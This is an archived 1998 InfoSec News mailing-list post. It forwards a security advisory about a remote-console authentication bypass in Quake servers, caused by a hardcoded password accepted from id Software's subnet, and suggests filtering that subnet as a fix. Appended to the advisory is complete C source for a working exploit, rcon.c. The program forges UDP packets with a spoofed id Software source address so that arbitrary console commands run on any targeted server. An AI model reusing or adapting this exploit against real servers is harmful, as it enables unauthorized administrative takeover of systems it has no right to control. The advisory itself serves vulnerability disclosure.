Date: Fri, 1 May 1998 04:12:33 -0600 (MDT) From: mea culpa To: InfoSec News Subject: [ISN] RSI.0001.05-01-98.ALL.QUAKE_SERVER Forwarded From: RSI Advise RSI.0001.05-01-98.ALL.QUAKE_SERVER |:::. |::::: |::::. |::::: |::::: |::::. .. :: .. .. :: .. .. .. :: |:::: |:::: |:::: :::::: |::::: |:::: |: |: :: |: |: |:: |: |: :: |: :: |::::: |: |::::: |::::: |::::: Repent Security Incorporated, RSI [ http://www.repsec.com ] *** RSI ALERT ADVISORY *** --- [CREDIT] -------------------------------------------------------------- Vulnerability found by: Mark Zielinski Advisory Author: Mark Zielinski --- [SUMMARY] ------------------------------------------------------------- Announced: May 1st, 1998 Report code: RSI.0001.05-01-98.ALL.QUAKE_SERVER Report title: Vulnerability in the Quake server Vulnerability: RCON (Remote Console) Patch status: None currently available Platforms: Quake 1/2, QuakeWorld, Linux/Solaris Quake2 Reference: http://www.repsec.com/advisories.html Impact: If exploited, an attacker could remotely compromise administrator access on any Quake server. --- [DETAILS] ------------------------------------------------------------- Problem: The Quake server has a feature where it allows administrators to remotely send commands to the Quake console with a password. However, it is possible to remotely bypass authentication. In order for this to be exploited, the attacker would have to create a handcrafted udp packet with a header containing the rcon command and the password "tms" with a source IP coming from ID Software's Subnet. (192.246.40) The Quake server does not require an open connection for sending the rcon packet. When this is exploited, no logs are reported of the rcon command being used. This vulnerability is present in Quake 1, QuakeWorld, Quake 2, Quake 2 Linux and Quake 2 Solaris, all versions. --- [FIX] ----------------------------------------------------------------- Solution: Filter all incoming packets from the subnet 192.246.40. --- [PATCH] --------------------------------------------------------------- Solution: No patches are currently available. --------------------------------------------------------------------------- Repent Security Incorporated (RSI) advise@repsec.com 13610 N. Scottsdale Rd. Suite #10-326 Scottsdale, AZ 85254 [ http://www.repsec.com ] --------------------------------------------------------------------------- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAzU6dqAAAAEEAOHt9a5vevjD8ZjsEmncEbFp2U7aeqvPTcF/8FJMilgOVp75 dshXvZixHsYU7flgCNzA7wLIQPWBQBrweLG6dx9gE9e5Ca6yAJxZg8wNsi06tZfP nvmvf6F/7xoWS5Ei4k3YKuzscxlyePNNKws6uUe2ZmwVoB+i3HHT44dOafMhAAUT tBpSZXBTZWMgPGFkdmlzZUByZXBzZWMuY29tPg== =ro8H -----END PGP PUBLIC KEY BLOCK----- Copyright April 1998 RepSec, Inc. The information in this document is provided as a service to customers of RepSec, Inc. Neither RepSec, Inc., nor any of it's employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process contained herein, or represents that its use would not infringe any privately owned rights. Reference herein to any specific commercial products, process, or services by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by RepSec, Inc. The views and opinions of authors expressed herein do not necessarily state or reflect those of RepSec, Inc., and may not be used for advertising or product endorsement purposes. The material in this alert advisory may be reproduced and distributed, without permission, in whole or in part, by other security incident response teams (both commercial and non-commercial), provided the above copyright is kept intact and due credit is given to RepSec, Inc. This alert advisory may be reproduced and distributed, without permission, in its entirety only, by any person provided such reproduction and/or distribution is performed for non-commercial purposes and with the intent of increasing the awareness of the Internet community. --------------------------------------------------------------------------- RepSec, Inc. are trademarks of RepSec, Inc. All other trademarks are property of their respective holders. -o- Subscribe: mail majordomo@sekurity.org with "subscribe isn". Today's ISN Sponsor: Repend Security Incorporated [www.repsec.com] /* rcon.c Quake world rcon_password bug implimentation by Jeff Roberson, (VallaH) Linux 2.0.33 source, will compile on BSD if you modify the ip header etc. Please note that I did not discover this, I simply wrote the code. Thanks to Nick Toomey, (Grifter) Brief summary: Any rcon command coming from the idsoftware subnet 192.246.40 with the rcon password of tms will be accepted on any server. This program simply spoofs a packet from vader.idsoftware.com (random pick) to whatever server you identify. Usage: ./rcon ip/host "what you want to do" [port] Example: ./rcon quake.idsoftware.com "say This program works, thanks Jeff" 27500 the port argument is optional, you may omit it if you like and it will default to 27500. */ #include #include #include #include #include #include #include #include #include #include #include #include #define SIP "192.246.40.42" /* vader.idsoftware.com */ #define command "˙˙˙˙rcon tms " u_long resolve_address(u_char *host) { struct in_addr addr; struct hostent *he; if((addr.s_addr = inet_addr(host)) == -1) { if (!(he = gethostbyname(host))) { printf("Unknown address: %s\n", host); exit(-1); } bcopy(he->h_addr, (char *)&addr.s_addr, he->h_length); } return(addr.s_addr); } int main(int argc, char **argv) { int s; int port=27500; char buf[512]; struct sockaddr_in dst; struct iphdr *iph=(struct iphdr *)buf; struct udphdr *udp=(struct udphdr *)(buf + 20); if (argc<3) { printf("usage:\n"); printf("\t%s ip ""command"" \n", argv[0]); exit(-1); } if (argc==4) port = atoi(argv[3]); bzero(buf, sizeof(buf)); bzero((char *)&dst, sizeof(dst)); iph->version=4; iph->ihl=5; iph->tos=0; iph->tot_len=htons(sizeof(buf)); iph->id=htons(1234); iph->frag_off=0; iph->ttl=255; iph->protocol=17; iph->saddr=inet_addr(SIP); iph->daddr=resolve_address(argv[1]); udp->source=htons(1234); udp->dest=htons(port); udp->len=htons(sizeof(buf) - 20); dst.sin_family=PF_INET; dst.sin_addr.s_addr=iph->daddr; dst.sin_port=htons(27500); sprintf((buf + 28), "%s%s\n", command, argv[2]); if ((s=socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(-1); } if ((sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst))) <=0) { perror("sendto"); exit(-1); } exit(1); }